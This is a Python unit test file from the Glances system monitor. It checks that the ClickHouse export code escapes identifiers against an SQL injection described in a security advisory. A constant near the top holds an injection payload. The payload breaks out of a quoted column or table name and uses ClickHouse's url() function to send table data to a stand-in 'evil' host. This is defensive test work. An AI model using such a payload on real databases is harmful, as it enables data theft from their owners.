mirror of
https://github.com/nicolargo/glances.git
synced 2026-09-15 06:40:25 -04:00
137 lines
5.0 KiB
Python
Executable File
137 lines
5.0 KiB
Python
Executable File
#!/usr/bin/env python
|
||
#
|
||
# Glances - An eye on your system
|
||
#
|
||
# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>
|
||
#
|
||
# SPDX-License-Identifier: LGPL-3.0-only
|
||
#
|
||
|
||
"""Glances unit tests for ClickHouse export SQL injection prevention (GHSA-2hvx-g9v6-w29h).
|
||
|
||
Tests cover:
|
||
- quote_identifier properly escapes ClickHouse identifiers (backtick escaping)
|
||
- CREATE TABLE / DESCRIBE / ALTER TABLE use quoted identifiers
|
||
- SQL injection via crafted column names (stats keys) is neutralized
|
||
- SQL injection via crafted table names (plugin names) is neutralized
|
||
- Normal export workflow still produces the expected DDL
|
||
"""
|
||
|
||
import threading
|
||
|
||
import pytest
|
||
|
||
try:
|
||
import clickhouse_connect # noqa: F401
|
||
except ImportError:
|
||
pytest.skip("clickhouse_connect not installed", allow_module_level=True)
|
||
|
||
from clickhouse_connect.driver.binding import quote_identifier
|
||
|
||
from glances.exports.glances_clickhouse import Export
|
||
|
||
# Payload that, without quoting, would break out of the backtick-quoted identifier
|
||
# and turn the CREATE TABLE into an OOB exfiltration query (ClickHouse url()).
|
||
INJECTION = "x` ENGINE = MergeTree() AS SELECT * FROM url('http://evil"
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Tests – quote_identifier (the escaping primitive used by the exporter)
|
||
# ---------------------------------------------------------------------------
|
||
|
||
|
||
class TestQuoteIdentifier:
|
||
"""The exporter relies on clickhouse_connect.quote_identifier."""
|
||
|
||
def test_simple_name_unchanged(self):
|
||
# A legitimate psutil field name is quoted identically to the previous
|
||
# f"`{key}`" format -> no regression on the insert column_names parsing.
|
||
assert quote_identifier('cpu_user') == '`cpu_user`'
|
||
|
||
def test_backtick_is_escaped(self):
|
||
quoted = quote_identifier(INJECTION)
|
||
# Result is a single backtick-quoted identifier; the embedded backtick
|
||
# is escaped, so the injected SQL cannot break out.
|
||
assert quoted.startswith('`') and quoted.endswith('`')
|
||
assert '\\`' in quoted
|
||
# The naive/vulnerable format would have contained a bare closing backtick
|
||
# followed by the payload; it must NOT appear as-is.
|
||
assert '`x` ENGINE' not in quoted
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Tests – DDL construction in Export.export() neutralizes injection
|
||
# ---------------------------------------------------------------------------
|
||
|
||
|
||
class FakeClient:
|
||
"""Records every DDL string sent to ClickHouse; no server required."""
|
||
|
||
def __init__(self):
|
||
self.commands = []
|
||
self.inserts = []
|
||
|
||
def command(self, query):
|
||
self.commands.append(query)
|
||
|
||
def query(self, query):
|
||
self.commands.append(query)
|
||
# Empty schema -> every column is treated as missing (exercises ALTER ADD).
|
||
return type('R', (), {'result_rows': []})()
|
||
|
||
def insert(self, table, data, column_names):
|
||
self.inserts.append((table, data, column_names))
|
||
|
||
|
||
def _make_export():
|
||
"""Build an Export without going through __init__/network connection."""
|
||
export = Export.__new__(Export)
|
||
export.export_enable = True
|
||
export.hostname = 'myhost'
|
||
export._lock = threading.Lock()
|
||
export.client = FakeClient()
|
||
return export
|
||
|
||
|
||
class TestClickHouseExportDDL:
|
||
def test_benign_create_table(self):
|
||
export = _make_export()
|
||
creation_list = [
|
||
'`time` DateTime',
|
||
'`hostname_id` String',
|
||
f'{quote_identifier("total")} Nullable(Float64)',
|
||
]
|
||
export.export('cpu', creation_list, [['NOW()', 'myhost', 95.5]])
|
||
|
||
create = export.client.commands[0]
|
||
assert 'CREATE TABLE IF NOT EXISTS `cpu`' in create
|
||
assert '`total` Nullable(Float64)' in create
|
||
# Row inserted through the parameterized path.
|
||
assert export.client.inserts and export.client.inserts[0][0] == 'cpu'
|
||
|
||
def test_injection_in_column_name_is_neutralized(self):
|
||
export = _make_export()
|
||
# creation_list is built exactly like Export.update() does (quote_identifier
|
||
# on the stats key), here with a malicious key.
|
||
creation_list = [
|
||
'`time` DateTime',
|
||
'`hostname_id` String',
|
||
f'{quote_identifier(INJECTION)} Nullable(String)',
|
||
]
|
||
export.export('cpu', creation_list, [['NOW()', 'myhost', 'v']])
|
||
|
||
joined = '\n'.join(export.client.commands)
|
||
# The payload survives only inside an escaped-backtick identifier.
|
||
assert '\\`' in joined
|
||
# No un-escaped breakout that would start a real ENGINE/url() clause.
|
||
assert '`x` ENGINE = MergeTree() AS SELECT' not in joined
|
||
|
||
def test_injection_in_plugin_name_is_neutralized(self):
|
||
export = _make_export()
|
||
creation_list = ['`time` DateTime', '`hostname_id` String']
|
||
export.export(INJECTION, creation_list, [['NOW()', 'myhost']])
|
||
|
||
create = export.client.commands[0]
|
||
assert 'CREATE TABLE IF NOT EXISTS ' + quote_identifier(INJECTION) in create
|
||
assert '`x` ENGINE = MergeTree() AS SELECT' not in create
|